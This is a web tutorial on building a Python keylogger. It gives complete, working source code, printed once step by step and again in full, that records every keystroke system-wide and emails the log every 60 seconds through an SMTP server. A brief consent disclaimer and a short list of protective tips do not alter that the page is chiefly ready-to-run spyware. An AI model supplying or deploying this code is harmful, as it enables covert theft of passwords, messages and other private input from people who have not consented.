Home » Tutorials » How to Create a Keylogger with Python

How to Create a Keylogger with Python

Welcome to today’s tutorial! We’re diving into an exciting project: building our own keylogger using Python. Imagine a keylogger as your friendly digital detective, quietly capturing every keystroke on your keyboard. We’re not just going to record these keystrokes; we’ll learn how to send them directly to our email for easy reviewing. But hey, let’s remember the golden rule: with great power comes great responsibility! This tool is super handy for keeping an eye on your own computer’s activities. Let’s make sure to use it wisely and ethically, alright? Let’s get started!

Table of Contents

Disclaimer

Please note: This tutorial is for educational purposes only. Use the keylogger responsibly and ethically with full consent from individuals involved. Unauthorized use may result in legal consequences. Always adhere to local privacy laws.

Necessary Libraries

Make sure to install the keyboard library via the terminal or your command prompt for the code to function properly:

$ pip install keyboard

Imports

As usual, we’ll start by importing the necessary modules and libraries for our keylogger program. Our first import will be keyboard, which allows us to capture keyboard events. Next, we import smtplib to provide functions for sending emails via SMTP.

Then, we import Timer from the threading module to create a timer for periodic tasks. Our fourth import will be datetime to obtain the current date and time. Lastly, we import MIMEMultipart and MIMEText to create email messages with attachments and plain text.

import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

Configuring Your Keylogger: Setting Up Email Reporting

Next, we create a class to hold the configuration settings for our Keylogger. To start, we set a time interval (60 seconds) for our program to send keylogger reports to our email. We then enter our email address, the corresponding password for authentication, the SMTP server address for sending emails, and the port number for the SMTP server.

class Config:
   SEND_REPORT_EVERY = 60  # in seconds
   EMAIL_ADDRESS = "Enter_your@email.com"
   EMAIL_PASSWORD = "Enter_Your_Password"
   SMTP_SERVER = "smtp.office365.com"
   SMTP_PORT = 587

Logger Class

For this step, we define a Logger class to capture and store keystrokes from the keyboard. This class includes an __init__ method to initialize an empty log. We append each pressed key to this log. Special keys, such as “Enter and Shift“, are enclosed in square brackets using the add_key method.

Additionally, since we send these logs at regular intervals, we need a clear_log method to periodically clear our log.

class Logger:
   def __init__(self):
       self.log = ""

   def add_key(self, key_name):
       print(f"Key logged: {key_name}")  # Debugging output
       self.log += key_name if len(key_name) == 1 else f"[{key_name.upper()}]"

   def clear_log(self):
       self.log = ""

Reporter Class

Now we create a Reporter class that is responsible for sending email reports based on logged events. The __init__ method initializes the logger object, which handles event logging. The start_timer method sets up a daemon timer to periodically execute the report function, using an interval specified in Config.SEND_REPORT_EVERY.

In the report method, if the log is not empty, it sends the logged data via the send_email function and then clears the log. After sending the email, it restarts the timer for continuous monitoring.

The send_email method constructs and sends an email with the log data using SMTP settings from Config. It includes error handling to catch and report any issues during email transmission. Debug outputs in this function help monitor the timing of sent emails.

class Reporter:
   def __init__(self, logger):
       self.logger = logger
       self.timer = None


   def start_timer(self):
       self.timer = Timer(Config.SEND_REPORT_EVERY, self.report)
       self.timer.daemon = True
       self.timer.start()


   def report(self):
       if self.logger.log:
           self.send_email(self.logger.log)
           self.logger.clear_log()
       self.start_timer()


   def send_email(self, log_data):
       msg = MIMEMultipart("alternative")
       msg["From"] = msg["To"] = Config.EMAIL_ADDRESS
       msg["Subject"] = "Keylogger Report - The Pycodes"
       msg.attach(MIMEText(log_data, "plain"))
       try:
           with smtplib.SMTP(Config.SMTP_SERVER, Config.SMTP_PORT) as server:
               server.starttls()
               server.login(Config.EMAIL_ADDRESS, Config.EMAIL_PASSWORD)
               server.send_message(msg)
               print(f"Email sent at {datetime.now()}")  # Debugging output
       except Exception as e:
           print(f"Failed to send email: {e}")

Key Release Event Handler

After that, we define the on_key_release function, which is responsible for adding the keys to the log. It works simply: whenever a key is released, it is captured by this function and added to the log using logger.add_key(event.name). This function is triggered whenever a key release event occurs.

def on_key_release(event):
   logger.add_key(event.name)

Main Block

Lastly, this part ensures the script runs directly, not as an imported module. It initializes two key instances: logger for logging keystrokes and reporter for emailing these logs. The on_key_release function is attached to the keyboard.on_release event to log every key release.

Additionally, the reporter‘s timer is started to enable periodic reporting. This block waits indefinitely for user keystrokes, effectively serving as the script’s operational core.

if __name__ == "__main__":
   logger = Logger()
   reporter = Reporter(logger)
   keyboard.on_release(on_key_release)
   reporter.start_timer()
   keyboard.wait()

How to Protect Ourselves

It is imperative that there are many risks that come with the unauthorized use of this code. For example, unauthorized access can allow someone to obtain sensitive information without the user’s knowledge, as this code captures keystrokes.

So to protect ourselves from this there are certain steps that we should follow, for example:

  • We can use Anti-virus software that can detect and block Keyloggers.
  • We can also regularly update our operating system, applications, and software.
  • We should avoid unknown email attachments or links.

Example

I have executed this code on Linux using the terminal:

Here is the email received in my Outlook inbox:

Full Code

import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText


class Config:
   SEND_REPORT_EVERY = 60  # in seconds
   EMAIL_ADDRESS = "Enter_your@email.com"
   EMAIL_PASSWORD = "Enter_Your_Password"
   SMTP_SERVER = "smtp.office365.com"
   SMTP_PORT = 587


class Logger:
   def __init__(self):
       self.log = ""


   def add_key(self, key_name):
       print(f"Key logged: {key_name}")  # Debugging output
       self.log += key_name if len(key_name) == 1 else f"[{key_name.upper()}]"


   def clear_log(self):
       self.log = ""


class Reporter:
   def __init__(self, logger):
       self.logger = logger
       self.timer = None


   def start_timer(self):
       self.timer = Timer(Config.SEND_REPORT_EVERY, self.report)
       self.timer.daemon = True
       self.timer.start()


   def report(self):
       if self.logger.log:
           self.send_email(self.logger.log)
           self.logger.clear_log()
       self.start_timer()


   def send_email(self, log_data):
       msg = MIMEMultipart("alternative")
       msg["From"] = msg["To"] = Config.EMAIL_ADDRESS
       msg["Subject"] = "Keylogger Report - The Pycodes"
       msg.attach(MIMEText(log_data, "plain"))
       try:
           with smtplib.SMTP(Config.SMTP_SERVER, Config.SMTP_PORT) as server:
               server.starttls()
               server.login(Config.EMAIL_ADDRESS, Config.EMAIL_PASSWORD)
               server.send_message(msg)
               print(f"Email sent at {datetime.now()}")  # Debugging output
       except Exception as e:
           print(f"Failed to send email: {e}")


def on_key_release(event):
   logger.add_key(event.name)


if __name__ == "__main__":
   logger = Logger()
   reporter = Reporter(logger)
   keyboard.on_release(on_key_release)
   reporter.start_timer()
   keyboard.wait()

Happy Coding!

Dive deeper into advanced techniques with our Ethical Hacking Essentials.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top